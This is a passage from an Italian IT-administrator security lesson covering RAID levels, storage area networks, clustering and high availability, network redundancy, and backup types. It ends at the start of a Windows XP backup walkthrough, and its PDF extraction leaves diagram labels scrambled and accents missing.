invariate in scrittura
Fault Tolerance: elevata. A certe condizioni sono
sopportabili anche guasti multipli simultanei
Applicazioni idonee: applicazioni che richiedono alta
disponibilit
RAID 2
Numero minimo dischi: -
Descrizione: parallelismo + codici a correzione derrore
(ECC)
Ridondanza: elevata ma minore di RAID 1. Interi dischi
sono dedicati alla memorizzazione dei codici ECC.
Prestazioni: aumento delle prestazioni read/write
direttamente proporzionale al parallelismo esistente sul
gruppo dei dischi dati Fault Tolerance: corregge al volo
errori singoli in una parola dati
Applicazioni idonee: non commercialmente conveniente
a causa dellelevata ridondanza hardware
RAID 3
Numero minimo dischi: 3
Descrizione: parallelismo + parit XOR a livello di stripe
(generata durante le scritture, verificata durante le letture)
Ridondanza: bassa. Richiede N+1 drives.
Prestazioni: aumento delle prestazioni in lettura
direttamente proporzionale al parallelismo esistente sul
gruppo dei dischi dati
Fault Tolerance: corregge al volo gli errori senza rallentare
il servizio
Applicazioni idonee: applicazioni ad alta intensit di banda
con requisiti di disponibilit
RAID 4
Numero minimo dischi: 3
A B C D
E F G H
I J K L
M N O etc...
A A E E
B B F F
C C G G
D D H H
I I M M
J J N N
K K O O
L L P P
Coppia di dischi
dati in mirror
Coppia di dischi
dati in mirror
Coppia di dischi
dati in mirror
Coppia di dischi
dati in mirror
A0 A1 A2 A3
B0 B1 B2 B3
C0 C1 C2 C3
D0 D1 D2 D3
Dischi dati
ECC A/a
ECC B/a
ECC C/a
ECC D/a
Dischi ECC
ECC A/b
ECC B/b
ECC C/b
ECC D/b
ECC A/c
ECC B/c
ECC C/c
ECC D/c
A0 A1 A2 A3
B0 B1 B2 B3
C0 C1 C2 C3
D0 D1 D2 D3
Dischi dati 0 Dischi dati 1 Dischi dati 2 Dischi dati 3
Generazione
XOR A parit
B parit
C parit
D parit
Disco parit
(Stripe = RAID 3 Blocco = RAID 4)
A0 A1 A2 A3
B0 B1 B2 B3
C0 C1 C2 C3
D0 D1 D2 D3
Dischi dati 0 Dischi dati 1 Dischi dati 2 Dischi dati 3
Generazione
XOR A parit
B parit
C parit
D parit
Disco parit
(Stripe = RAID 3 Blocco = RAID 4)
PC Open www.pcopen.it 68
ITAdministrator - Sicurezza informatica Lezione 4
Descrizione: parallelismo + parit a livello di blocco
(generata durante le scritture, verificata durante le letture)
Ridondanza: bassa. Richiede N+1 drives
Prestazioni: la granularit a livello di blocco fa s che ogni
richiesta di lettura o scrittura di blocco interessi un solo
disco dati. Ci permette potenzialmente di trattare pi
richieste in parallelo, cosa impossibile con RAID 3. Il
singolo disco per la parit diventa per il collo di bottiglia
(specie in scrittura)
Fault Tolerance: la correzione degli errori ha le stesse
potenzialit di RAID 3 ma avviene pi lentamente
Applicazioni idonee: applicazioni RAID 3 bisognose di un
aumento di prestazioni soprattutto in lettura
RAID 5
Numero minimo dischi: 3
Descrizione: parallelismo + informazioni di parit
distribuite fra i dischi dati
Ridondanza: bassa. Richiede N+1 drives
Prestazioni: massime prestazioni in lettura; medie in
scrittura
Fault Tolerance: la correzione degli errori ha un impatto
moderato sulle prestazioni In caso di guasto a un disco la
sua ricostruzione pi difficoltosa che in altri schemi
Applicazioni idonee: File servers - Application servers
Web servers - Database servers
RAID 6
Numero minimo dischi: 4
Descrizione: parallelismo + parit distribuita fra i dischi +
ECC distribuiti fra i dischi
Ridondanza: superiore alloverhead richiesto da RAID 5.
Richiede N+2 drives
Prestazioni: prestazioni elevate a condizione che il
controller sia veloce a generare e verificare i codici ECC.
Fault Tolerance: estrema protezione e sicurezza con il
minimo overhead possibile.
Resiste anche a due guasti di disco simultanei
Applicazioni idonee: applicazioni mission critical
RAID 10
Numero minimo dischi: 4
Descrizione: i dati sono gestiti in striping su un tandem e
in mirroring su un secondo tandem
Ridondanza: richiede 2N drives
Prestazioni: veloce come un RAID 0 ma pi affidabile
Fault Tolerance: sicuro come un RAID 1 ma pi veloce
Applicazioni idonee: applicazioni ad alte prestazioni con
requisiti di disponibilit
RAID 50
Numero minimo dischi: 5
Descrizione: Abbinamento di uno schema RAID 3 e di uno
RAID 0
Ridondanza: molto elevata
Prestazioni: prestazioni elevate come in RAID 0
Fault Tolerance: sicuro come un RAID 3 ma pi veloce
Applicazioni idonee: -
RAID 0+1
Numero minimo dischi: 4
Descrizione: mirroring di due tandem i cui dischi sono
gestiti in striping.
Ridondanza: richiede 2N drives
Prestazioni: prestazioni elevate come con RAID 0
Fault Tolerance: Come RAID 5.
Un singolo guasto rende lintero array equivalente a uno
schema RAID 0
Applicazioni idonee: applicazioni che richiedono alte
prestazioni ma non necessariamente la massima
disponibilit
Oltre agli schemi RAID, utilizzabili per aumentare laffi-
dabilit e/o le prestazioni di uno storage system localizza-
to in una certa sede fisica, meritano un cenno gli schemi di
distributed storage a ridondanza anche geografica (Sto-
rage Area Networks, SAN).
Una SAN collega fra loro pi unit disco (o nastro) e pi
host; in casi estremi, e usando le tecnologie di rete adatte,
le entit collegate possono trovarsi a grandi distanze (al li-
mite, anche a distanze di scala geografica). A differenza del
pi convenzionale schema Direct-Attached Storage (DAS),
che fa un uso punto-punto delle tecnologie di intercon-
nessione locale di unit disco a host, come SCSI in tutte
le sue varianti, oppure FDDI, Firewire o USB, nelle SAN im-
portante la possibilit di realizzare una matrice che metta
in comunicazione vari host e varie memorie di massa.
Una SAN pu essere usata per consentire laccesso a un
centro di memorizzazione dati a pi host ubicati in luoghi
differenti, ma anche, simmetricamente, per ridondare su
sedi diverse le unit disco usate da uno o pi host. In que-
sto senso, in combinazione con altre tecnologie, utilizza-
bile come soluzione per migliorare la disponibilit dei da-
ti. chiaro per che per raggiungere tale risultato neces-
Dischi dati A Dischi dati B Dischi dati C Dischi dati D
etc... etc... etc...
A0 B0 ECC 0
A1 ECC 1 Parit 1
ECC 2 Parit 2 C2
Parit 3 B3 C3
Parit
XOR
Parit 0
D1
D2
ECC 3
etc...
Codice
ECC
A A A B
B B C D
C C E F
D D G H
Dischi dati in
mirroring RAID 1
Dischi dati in
striping RAID 0
A0 A1
B0 B1
C0 C1
D0 D1
A parit
B parit
C parit
D parit
A B
C D
E F
G H
Dischi dati in
striping RAID 0
Dischi dati
in RAID 3
p g
A E A E
B F B F
C G C G
D H D H
Mirroring RAID 1 fra i due gruppi in striping RAID 0
Coppia di dischi dati
in striping RAID 0
Coppia di dischi dati
in striping RAID 0
E3 D3 C3 B3
A0 B0 C0
A1 B1 C1
A2 B2 Parit 2
A3 Parit 3 C2
Dischi dati A Dischi dati B Dischi dati C
Generazione
XOR
D0
Parit 1
D1
D2
Dischi dati D
Parit 0
E0
E1
E2
Dischi dati E
Parit 4
PC Open www.pcopen.it 69
Lezione 4 IT Administrator - Sicurezza informatica
sario che la matrice implementata dalla rete su cui si ba-
sa la SAN possieda una ridondanza sufficiente per immu-
nizzarla perlomeno da guasti singoli di link, switch di rete
o schede di rete.
Infatti la minore affidabilit di una connessione di rete
a grande distanza rispetto a un collegamento diretto SCSI
significa che oltre allevenienza di guasto di disco si deve
prevedere e poter gestire anche levento di malfunziona-
mento (o congestione) della rete di interconnessione tra di-
schi e host.
Schemi di ridondanza per le unit di elaborazione
Per assicurare unalta disponibilit dei dati non suffi-
ciente assicurarsi che le unit di memorizzazione siano
tamponate contro possibili guasti. Larchiviazione dei
dati in forma grezza non tutto: laccesso ai dati, infatti,
quasi sempre comporta anche una qualche forma di ela-
borazione.
Vediamo tre esempi classici di elaborazione necessaria:
per presentare i dati in forma comodamente fruibile (per
esempio, una pagina Web illustrata anzich un arido
elenco di informazioni testuali provenienti diretta-
mente dal database);
per trasformare i dati grezzi in valori utilizzabili, attra-
verso calcoli aritmetici o logici;
per selezionare, ordinare, filtrare i dati da estrarre dal da-
tabase.
quindi necessario anche garantire che lelaborazione
dei dati non sia compromessa da un malfunzionamento
(hardware o anche software) a un server. A tale scopo si
utilizzano tecniche di clustering ossia il collegamento
reciproco di due o pi computer in modo che funzionino
come se fossero uno solo. Il clustering, con filosofia ana-
loga a quella RAID, aumenta il parallelismo con due pos-
sibili scopi: aumentare le prestazioni ripartendo i compi-
ti su pi macchine, oppure aumentare laffidabilit del-
linsieme, per esempio tenendo una macchina in riserva
calda pronta a subentrare a una macchina che dovesse
guastarsi.
Il primo schema sfruttato soprattutto per quelle ap-
plicazioni nelle quali prevale la necessit di aumentare al
massimo le prestazioni rispetto allesigenza di assicurare
affidabilit sulle singole transazioni. Il tipico esempio
quello del web server per siti ad alta intensit di traffico.
Data la natura del traffico Web HTTP (composto da innu-
merevoli richieste elementari, la stragrande maggioranza
delle quali di sola lettura), lesigenza primaria sta nella
riduzione del tempo di latenza prima che una richiesta
venga servita e, in subordine, nella riduzione del tempo
necessario per servire ogni richiesta; invece una que-
stione assai meno rilevante il concetto di transazionalit,
ossia la garanzia che tutte le operazioni collegate a una
determinata transazione vadano a buon fine prima che la
transazione possa essere considerata completa oppure
lannullamento delle stesse in caso contrario.
Se il livello di throughput richiesto non risulta rag-
giungibile con un singolo server, non resta che ricorrere
a uno schema parallelo, con un raggruppamento (cluster)
di unit di elaborazione gestito da politiche di bilancia-
mento del carico di lavoro (load balancing), che assegna-
no le richieste HTTP in arrivo allunit di elaborazione in
quel momento pi scarica. Fra laltro, a parit di capacit
di calcolo complessiva del sistema, la soluzione parallela,
basata su un gran numero di esecutori a medie presta-
zioni, risulta generalmente pi economica e certamente
pi scalabile di una soluzione single CPU ad elevatissi-
me prestazioni.
Il clustering pu essere, per, usato anche per miglio-
rare la disponibilit del sistema nel suo complesso attra-
verso un aumento di affidabilit. In sistemi di questo tipo
possono essere ridondati le CPU, le schede di rete e altri
componenti hardware essenziali; la commutazione, a se-
conda dei casi, pu avvenire in modo immediato e traspa-
rente oppure con coinvolgimento del software e del siste-
ma operativo (e quindi con minor immediatezza). Per
esempio, nel primo caso, due schede di rete normali pos-
sono essere viste dal software come una unica scheda di
rete ad affidabilit circa doppia; nel secondo caso, unap-
plicazione di monitoraggio che rilevasse una condizione
anomala sullistanza primaria in esecuzione del software
potrebbe decidere di far subentrare il server di riserva e
far dirottare su di esso il futuro carico di lavoro.
Negli schemi con clustering abbastanza normale che
pi unit di elaborazione accedano a un sottosistema di
storage condiviso; per un ulteriore aumento di affidabilit
possibile dotarsi anche di un sistema di memorie di mas-
sa a sua volta totalmente ridondato, tuttavia questa scel-
ta determina un rilevante aumento dei costi senza neces-
sariamente riuscire ad eliminare la causa pi probabile e
frequente di disfunzione del sistema, che dovuta al
software (applicazioni e sistema operativo).
Il funzionamento delle applicazioni in cluster richiede
accortezze particolari in fase di progetto e sviluppo del
software, unamministrazione di sistema pi complessa e
competenze specifiche per la risoluzione di eventuali mal-
funzionamenti.
Daltra parte, lutilizzo di sistemi cluster generalmente
pu aprire possibilit interessanti, come quella di effet-
tuare lupgrade delle macchine anche durante il loro fun-
zionamento, senza interruzione totale del servizio grazie
alla possibilit di allontanare temporaneamente il carico
di lavoro dal server che deve essere oggetto di azioni di
manutenzione o aggiornamento.
Esiste una distinzione importante tra sistemi in cluster
a high availability (HA) e fault tolerant. Con High Avai-
lability sintende la capacit del sistema di superare un sin-
golo punto di guasto a uno dei propri componenti me-
diante limpiego di soluzioni hardware o software che per-
mettano di riprendere lelaborazione dopo il guasto. Fault
Tolerant indica invece la capacit di un sistema di rispon-
dere in maniera controllata a un guasto hardware o softwa-
re, solitamente spegnendosi o fermandosi e trasferendo il
proprio carico di lavoro a un componente o sistema repli-
cato (mirror) che in grado di continuare lelaborazione
iniziata.
1) Negli schemi High Availability, la salvaguardia dello sta-
to del sistema affidata ai dati salvati sulla memoria di
massa condivisa (o al database condiviso): si tratta di
una filosofia adeguata per le soluzioni applicative dove
leventuale perdita dei dati in RAM non avrebbe che un
impatto circoscritto sulla funzionalit del sistema (clas-
sico esempio, ancora una volta, i Web server). Il recu-
pero della normale funzionalit potrebbe avvenire fin
dalla prima transazione successiva allevento critico,
dopo che un apposito processo failover avesse prov-
veduto a dirottare il lavoro su un altro processo server.
2) I sistemi fault tolerant sono invece progettati per man-
tenere addirittura una copia calda, integrale, conti-
nuamente aggiornata, anche dei dati in memoria cen-
trale. In questo caso lelaborazione pu commutare e
proseguire senza alcuna perturbazione significativa,
ma tuttal pi con un leggero e momentaneo calo di pre-
stazioni.
Unaltra distinzione riguarda larchitettura del sistema
di memorie di massa. Esistono tre schemi principali:
1) Dischi condivisi: le CPU accedono in modo concorren-
te a un unico sistema dischi. Tale schema fornisce ga-
ranzie strutturali di allineamento dei dati visti dai va-
ri sistemi, ma presenta svantaggi. Per evidenti neces-
sit di controllo della concorrenza, tale accesso deve
essere regolato da un arbitro (Distributed Lock Ma-
nager) che aumenta la complessit e riduce le presta-
zioni del sistema. Generalmente la distanza fisica delle
5.4.2.2 Essere al
corrente delle diverse
metodologie di
replicazione host e
meccanismi di
distribuzione e
bilanciamento del
carico (load
distribution e load
balancing)
PC Open www.pcopen.it 70
ITAdministrator - Sicurezza informatica Lezione 4
CPU dal sistema dischi deve essere bassa, per motivi
tecnici.
2) Dischi in mirroring: ogni CPU ha un proprio sistema di-
schi e un apposito sistema di replicazione che provve-
de a rilevare tutte le sue scritture su disco e a replicar-
le sulle unit a disco dellaltra CPU, attraverso un col-
legamento LAN. Rispetto allo schema precedente cala-
no i costi, ma anche le garanzie di perfetta e costante
identit dei dati tra le varie unit disco e anche la sca-
labilit del sistema minore.
3) Nessuna condivisione: in condizioni di funzionamento
normale, non vi sono risorse disco condivise fra le CPU:
tali risorse sono controllate e utilizzate solo dalla CPU
attiva. Solo in caso di malfunzionamento di questulti-
ma scatta un meccanismo che trasferisce la pro-
priet di tali risorse alla CPU di riserva che subentra
a quella in crisi.
Scalabilit e disponibilit sono simili a quelle ottenibi-
li con la prima soluzione (anche se il trasferimento di
propriet pu richiedere un tempo non trascurabile);
la mancanza di un Distributed Lock Manager inoltre ri-
duce la complessit del sistema.
Infrastrutture per la disponibilit della rete
Non basta garantire la disponibilit dei dati memoriz-
zati su disco e la disponibilit delle unit di elaborazione,
con schemi a ridondanza pi o meno marcata, per assi-
curare complessivamente la disponibilit del servizio. Un
aspetto fondamentale riguarda infatti la disponibilit del-
la connessione di rete attraverso la quale gli utenti acce-
dono al servizio, oppure della LAN che interconnette i si-
stemi che concorrono a erogare il servizio, oppure anco-
ra della LAN (o SAN) che collega questi ultimi alle unit di-
sco condivise.
Come ogni componente dellarchitettura, anche la LAN
pu guastarsi o semplicemente andare incontro a feno-
meni di congestione, e ancora una volta le strategie per
aumentare laffidabilit o per migliorare le prestazioni
condividono la filosofia di base: ridondanza.
Nel caso delle reti la ridondanza pu attuarsi con mo-
dalit diverse a seconda del tipo di tecnologia di rete (ve-
di la tabella sulla ridondanza).
In generale, in uninfrastruttura di rete, i punti di criti-
cit riguardano:
La connessione al provider esterno
Il servizio offerto dal provider esterno
Il cablaggio interno
Le schede di rete
Gli apparati attivi di rete
Per quanto riguarda le cause esterne di malfunziona-
mento, una prima forma di autotutela non tecnologica
pu consistere nel negoziare col provider un Service Le-
vel Agreement (SLA) con tanto di penali in caso di mal-
funzionamenti di entit e frequenza superiori a determi-
nate soglie contrattuali. In tal caso assume particolare im-
portanza poter disporre di strumenti di misura per rile-
vare (ed eventualmente dimostrare in sede di contenzio-
so) quando si producono tali malfunzionamenti.
Come accennato in tabella, inoltre, una strategia effi-
cace consiste anche nel ridondare (almeno duplicare) il
collegamento al provider esterno, oppure nel collegarsi a
due provider diversi: rispetto alla prima, questa seconda
strategia complica le cose dal punto di vista degli schemi
di indirizzamento e pu anche dare luogo a scompensi
qualora la banda disponibile sia molto diversa sulle due
connessioni, ma conferisce un interessante grado di pro-
tezione dallisolamento totale anche in caso di guasti se-
veri al backbone (dorsale) del network provider.
I rischi dovuti a cause interne possono essere mitigati
con la ridondanza sui cavi, sulle schede di rete o sugli ap-
parati attivi.
Per quanto riguarda il cablaggio in particolare consi-
gliabile che la ridondanza dei collegamenti sia sempre ac-
compagnata anche da una differenziazione del percorso fi-
sico seguito dal cavo. In sostanza, preferibile che i due
link corrano in due cavidotti distinti e separati. Diversa-
mente si correrebbe il rischio che una lesione strutturale
accidentalmente prodotta a un unico cavidotto provochi
linterruzione contemporanea sia del link primario sia di
quello di scorta.
Tabella Ridondanza.
Accorgimenti tecnologici
per conferire ridondanza
in vari tipi di rete
Tipo di rete
LAN
WLAN (WiFi)
WLAN (WiFi)
WAN
Reti di trasporto
(SDH/WDM)
Schema
di ridondanza
Duplicazione della
scheda di rete
Antenna Diversity
(duplicazione
dellantenna)
Installazione di pi
Access Points
operanti su pi canali
Collegamento a due
ISP diversi (oppure
doppio collegamento
allo stesso ISP) per
resistere a
malfunzionamenti sul
last mile
Network Protection;
Network Restoration
Logica di funzionamento
Qualora lautodiagnosi riveli un guasto a
una delle due schede, un apposito sistema
fa subentrare la scheda di scorta, con lo
stesso indirizzo di rete della scheda fuori
servizio
Un circuito provvede a monitorare
costantemente il livello di disturbo, echi,
riflessioni, etc., rilevato in ricezione su
ognuna delle due antenne e sceglie quella
con la migliore ricezione
Le schede di rete sui client possono
commutare automaticamente sul canale
migliore
Il router rileva eventuali interruzioni di
servizio su uno dei due link e in base a
regole precedentemente impostate
provvede a dirottare il traffico sullaltra
direttrice Internet. In condizioni normali il
traffico pu essere avviato a entrambe le
direttrici per aumentare la banda
complessiva
I circuiti sono completamente ridondati e il
tasso derrore tenuto sotto sorveglianza
hardware.
Gli apparati di rete (protection) o i sistemi di
gestione di rete (restoration) provvedono a
deviare il traffico su un path alternativo in
caso di guasto o tasso derrore eccessivo
Effetto ai morsetti
Le due schede di rete sono viste
dal sistema operativo e dalle
applicazioni come ununica
scheda di rete a maggiore
affidabilit
Il link di rete wireless appare pi
stabile e il throughput maggiore
I client osservano un
momentaneo disservizio solo in
caso di passaggio ad altro canale
Gli applicativi di rete vedono
una connessione Internet con
disservizi sporadici e facilmente
recuperabili
Gli strati di rete che si avvalgono
della rete di trasporto vedono
connessioni affidabili. La
commutazione comporta
uninterruzione di servizio di
pochi millisecondi
5.4.2.3 Conoscere
diversi tipi
d'infrastrutture per
la disponibilit della
rete (per LAN, WAN,
WLAN etc)
PC Open www.pcopen.it 71
Lezione 4 IT Administrator - Sicurezza informatica
Il backup/restore locale e in rete
Dotarsi di un sistema di memoria di massa RAID di tipo
idoneo assicura di non poter mai perdere dati? Purtroppo
no. Larchitettura RAID (escluso RAID 0, con puro striping,
che finalizzato soltanto allaumento di prestazioni) forni-
sce garanzie contro le perdite di dati dovute a guasto fisi-
co di un certo numero prestabilito di unit disco.
Nulla pu, per, contro la cancellazione o lalterazione di
dati dovuta a un malfunzionamento software, sia esso sca-
tenato da un bug dellapplicazione o del sistema operativo,
oppure da un virus, da un malware o da altre minacce ana-
loghe. Ironicamente, anche se nello schema RAID i dischi
fossero fisicamente raddoppiati o triplicati, in caso di at-
tacco da parte di un virus che (per esempio) formatta il di-
sco fisso, tutto quello che RAID ci garantirebbe sarebbe sol-
tanto di replicare esattamente tale formattazione su tutte le
copie del disco!
dunque necessario prendere contromisure anche per
resistere allalterazione dei dati dovuta a cause software e
per assicurarsi la possibilit di regredire tale danno, alme-
no entro un certo lasso di tempo. In questo caso, limme-
diatezza o la simultaneit della copia dei dati che viene ef-
fettuata dagli schemi RAID lesatto contrario di ci che oc-
corre. Serve in realt una copia dei dati fredda, ma non
troppo: fredda, per tenerla fuori pericolo rispetto a mal-
funzionamenti software che potrebbero danneggiarla irre-
parabilmente online come la copia calda, rendendola
del tutto inutile ai fini di un eventuale ripristino; ma non
troppo fredda, perch una copia molto vecchia non d con-
to di troppe modifiche (legittime e intenzionali) intervenu-
te sui dati prima del verificarsi dellerrore software o dello
scatenarsi del virus. Sarebbe ovviamente desiderabile che
un recupero dei dati riuscisse a ricostruire tali informazio-
ni dalla copia fredda. Tuttavia importante rendersi conto
del fatto che una ricostruzione di tutte le modifiche inter-
venute sui dati, fino allultima modifica, quella dannosa
(esclusa questultima, ovviamente), non pu avvenire sol-
tanto con copie fredde periodiche dei dati. Occorre affian-
carle, per esempio, con un log cronologico e non cancella-
bile delle transazioni avvenute in seguito. Mediante tale ab-
binata, si potrebbe ripartire dallo stato integrale salvato
nellultima copia fredda e da l proseguire, rieseguendo in
sequenza le transazioni memorizzate sul log fino alla pe-
nultima transazione, compresa.
Tale schema logico pu essere attuato usando lultimo
backup integrale pi lultimo backup differenziale, oppure
lultimo backup integrale pi tutti i backup incrementali
successivi ad esso.
Anche i file system con journaling (come NTFS nel mon-
do Windows, oppure Ext3, ReiserFS, XFS e JFS nel caso di Li-
nux) mantengono una storia delle modifiche elementari in-
tervenute sulla struttura del file system stesso, ma con uno
scopo differente: assicurare la transazionalit delle opera-
zioni, che a livello logico-applicativo devono avvenire in
modo atomico (creazione di una directory, creazione di un
file, aumento delle dimensioni di un file, cancellazione), ma
che a basso livello si traducono in realt in una sequenza
di passi elementari. Tali operazioni, sviluppandosi in modo
transazionale, lasciano il disco in uno stato consistente op-
pure, in caso di prematura interruzione del funzionamento,
in uno stato inconsistente dal quale per ci si possa auto-
maticamente riportare in uno stato consistente utilizzando
il log delle operazioni elementari effettuate (il journal, ap-
punto). Per dirla con terminologia database, lultima tran-
sazione, avvenuta sul file system in modo incompleto, su-
bir un rollback.
La tecnica assicura che per il ripristino di uno stato per-
fettamente consistente del file system bastino pochi se-
condi, senza bisogno di effettuare ogni volta una scansione
integrale del disco, a forza bruta, alla ricerca di possibili
errori. La disponibilit di tool di scansione resta comunque
necessaria per il recupero di situazioni in cui il deteriora-
mento delle strutture su disco e dello stesso journal siano
tali da rendere impossibile il recupero transazionale auto-
matico.
Per approfondimenti sui journaling file systems (con
particolare riferimento a Linux) si veda ad esempio
http://www.linux-mag.com/2002-10/jfs_01.html. Per NTFS si
veda ad esempio http://www.microsoft.com/win-
dows2000/community/centers/fileervices/fileervices_faq.
mspx.
I backup
Le copie fredde, ma non troppo a cui abbiamo pocan-
zi accennato vanno tecnicamente sotto il nome di copie di
back-up o backup tout court.
Nonostante si tratti semplicemente di copie dei file
presenti sul disco, esistono almeno tre strategie fonda-
mentali per effettuarle, che differiscono per il criterio di se-
lezione dei file da salvare: tutti o solo quelli recentemente
modificati, con due sfumature di significato per recente-
mente. (v. tabella Tipi di backup).
Oltre ai tipi di backup, che avvengono in modo puntua-
le a scadenze regolari secondo un piano di backup apposi-
tamente stabilito dallamministratore di sistema, esiste una
diversa politica di backup secondo la quale la copia di si-
curezza dei file avviene continuativamente durante il fun-
zionamento dei sistemi. Il vantaggio consiste nel fatto che
i sistemi non devono essere fermati durante il backup, inol-
tre non vi mai uno specifico momento del giorno in cui il
sistema fortemente rallentato perch sta eseguendo il
backup. Vi invece un costante, ma minimo rallentamento
dovuto allattivit di backup che procede regolarmente in
background. Questo tipo di backup continuo detto on-
line backup, in contrapposizione con i backup effettuati in
modo puntuale che sono spesso chiamati offline
backup.
Attenzione allambiguit dellespressione online
backup che pu anche essere usata per riferirsi a un
backup effettuato su un server di rete, magari addirittura
su un sito Internet, anzich su unit disco locali. Il vantag-
gio del backup eseguito in tal modo consiste nel fatto che
i dati possono risultare accessibili da molti punti diversi e
non solo dallinterno dei locali dellorganizzazione. Si trat-
ta quindi di una procedura utile per chi spesso fuori se-
de, ma pone anche seri problemi di riservatezza dei dati
salvati: non soltanto il provider dello spazio su disco onli-
ne usato per il backup deve garantire la privacy dei dati sal-
vati sul suo sito, ma il controllo degli accessi devessere
adeguato, per evitare che attacchi da Internet permettano
a chiunque di entrare in possesso dei dati salvati sul disco
online. In generale bene usare cautela nellimpiego di ser-
vizi di backup online e in particolare evitare i servizi gra-
tuiti o a basso costo che non possono offrire il livello di pro-
tezione necessario. Esistono provider che eseguono la ci-
fratura integrale delle informazioni e che, di conseguenza,
richiedono costi maggiori, ma pienamente giustificati.
Se il backup avviene con regolarit, a certe ore del gior-
no (pi spesso, della notte), su dischi condivisi in rete sul-
la LAN aziendale, possibile ed opportuno studiare lentit
dei flussi di dati e tenerne sotto controllo levoluzione nel
tempo, anche per intervenire con opportune azioni prima
che si produca la saturazione della rete durante lesecu-
zione dei backup.
Le valutazioni per il dimensionamento della rete, per la
definizione della concentrazione o distribuzione delle sta-
zioni di backup, per la scelta della periodicit e del tipo di
backup da effettuare e per stabilire gli orari esatti ai quali
far scattare i backup delle varie macchine devono basarsi
su quattro fattori.
1) una stima della quantit di dati da trasferire,
2) una misura della banda mediamente disponibile sulla
5.4.3.1 Essere in
grado di definire ed
utilizzare efficaci
procedure di backup
(locali e di rete)
5.4.3.2 Saper
verificare il buon
esito di un processo
di backup. Conoscere
le procedure per il
ripristino
PC Open www.pcopen.it 72
ITAdministrator - Sicurezza informatica Lezione 4
LAN aziendale nella fascia oraria in cui si prevede di far
scattare il backup,
3) il numero di macchine da sottoporre a backup,
4) la topologia della rete che interconnette le macchine e le
stazioni di backup.
Se il servizio di backup per tutte le macchine fornito da
ununica stazione di memorizzazione connessa alla rete
aziendale, il collo di bottiglia diventa immediatamente la
connessione di rete di tale sistema. Al crescere del nume-
ro di macchine da sottoporre a backup e delle dimensioni
del disco di ognuna di esse, anche adottando le politiche
pi prudenti, si arriver presto alla saturazione di tale col-
legamento. Si dovr allora pensare, ad esempio, a un up-
grade dellinfrastruttura di rete, magari con una sua gerar-
chizzazione, oppure allinstallazione di pi stazioni di
backup operanti in parallelo e attestate ognuna sul tron-
cone di rete che ospita le macchine da servire, in modo ta-
le da ripartire pi efficacemente il traffico e il carico di
backup.
Le unit di backup possono essere basate su hard disk,
nastri o dischi ottici. Queste tecnologie hanno caratteristi-
che diverse sotto vari punti di vista (costo per GByte dei
supporti, costo per GByte dei drive, throughput in lettu-
ra/scrittura, tempo di accesso medio in modalit recupero,
durata dei supporti, numero massimo di cicli di
lettura/scrittura sopportabili).
La scelta di quale tecnologia impiegare deve farsi caso
per caso, tenendo conto di cinque fattori.
1) frequenza del backup. I dischi ottici riscrivibili hanno un
numero massimo di cicli lettura/scrittura sopportabili.
2) velocit alla quale si prevede che affluiranno i dati. Il th-
roughput delle unit a nastro e hard disk solitamente
maggiore di quello delle unit ottiche (specie in scrittu-
ra).
3) stima della probabilit che si renda necessario un ripri-
stino di dati: se queste operazioni sono molto frequenti,
le unit a nastro, ad accesso sequenziale, non sarebbe-
ro particolarmente indicate.
4) quantit totale di dati soggetti a backup. Se questa quan-
tit enorme, lalta densit di memorizzazione e il bas-
so costo per GByte delle unit a nastro possono essere
ideali.
5) lunghezza della storia di backup che si desidera man-
tenere. Vedi punto precedente.
Effettuare backup e restore in ambiente
Windows XP
Con riferimento a Windows XP e alla utility di backup
che Microsoft fornisce insieme al sistema operativo, ve-
diamo ora come si procede per effettuare un backup. In
questo caso particolare effettueremo un backup integrale
di una specifica cartella del PC locale (My Documents), sal-
vando i dati in una cartella creata appositamente su un di-
sco di rete.
1 - welcome to backup wizard.bmp
Anzitutto lanciamo lapplicazione Backup con Start/Tutti i
programmi/Accessori/Utilit di sistema/Backup. Se la
prima volta che utilizziamo il programma e non abbiamo
mai alterato le sue impostazioni predefinite, si presenter
questa schermata. Consigliamo di fare clic su Modalit
avanzata per avere pieno controllo sulle numerose opzioni
disponibili.
2 - Dopo aver selezionato Modalit avanzata, appare la
schermata principale del programma. Consigliamo, almeno
la prima volta, di seguire la procedura guidata (Wizard)
facendo clic sul primo dei tre pulsanti.
3 - Ci troviamo cos nuovamente alla schermata di avvio
del Wizard, ma questa volta preimpostata la Modalit
Rappresentazione
schematica del volume di
dati trattato nel tempo
con i tre tipi fondamentali
di backup. Con il backup
integrale i backup set
hanno tutti dimensioni
elevate. I backup
incrementali hanno
dimensioni dipendenti
dalle modifiche
intervenute sul file
system dallultimo
backup incrementale.
I backup differenziali
hanno generalmente
dimensioni crescenti in
quanto accumulano le
modifiche intervenute sul
file system dallultimo
backup integrale; le
dimensioni del backup
set tornano modeste
subito dopo che viene
eseguito un nuovo
backup integrale
1 - Backup
integrale
2 - Backup
incrementale
3 - Backup
differenziale
Disco dati backup
Tipo backup: incrementale - Che cosa viene salvato: tutti i
file creati o modificati dopo il pi recente fra lultimo backup
integrale e lultimo backup incrementale - Come avviene il
recupero: si prendono in considerazione lultimo backup
integrale e tutti i backup incrementali effettuati da allora in
poi - Vantaggi: il backup pu essere eseguito
frequentemente in quanto richiede poco tempo e poco
spazio su disco (v. figura). Si riduce cos la finestra di
lavoro fatto non protetta da backup - Svantaggi: il recupero
dei dati richiede un tempo non breve, in quanto occorre
prendere in considerazione lultimo backup integrale e tutti i
successivi backup incrementali
Tipo backup: differenziale - Che cosa viene salvato: tutti i
file creati o modificati dopo lultimo backup integrale -
Come avviene il recupero: Si prendono in considerazione
lultimo backup integrale e solo lultimo dei backup
differenziali effettuati dopo di esso - Vantaggi: il recupero
dei dati pi veloce che con il backup incrementale -
Svantaggi: Il recupero dei dati leggermente pi lento che
con il backup solo integrale.
La dimensione del backup differenziale non mai inferiore
a quella di un backup incrementale fatto nelle stesse
condizioni e continua a crescere (v. figura) fino al prossimo
backup integrale.
Tipo backup: integrale - Che cosa viene salvato: lintero
contenuto delle aree di file system per le quali stato
impostato il backup - Come avviene il recupero: si prende
in considerazione lultimo backup integrale - Vantaggi: Il
recupero dei dati facilitato in quanto il backup set
contiene unimmagine del file system completa di tutti i file
- Svantaggi: lesecuzione del backup molto lenta e
richiede una grande quantit di spazio (v. figura), perci non
pu essere eseguita troppo frequentemente. Non conviene
usare questo schema di backup da solo, ma abbinarlo a
uno dei due successivi.
TIPI BACKUP
1
PC Open www.pcopen.it 73
Lezione 4 IT Administrator - Sicurezza informatica
avanzata. Premiamo Avanti per accedere alle prime
opzioni.
4 - La prima scelta da compiere riguarda larea
macroscopica interessata dal backup. possibile salvare
tutti i dati e impostazioni memorizzati sul computer, oppure
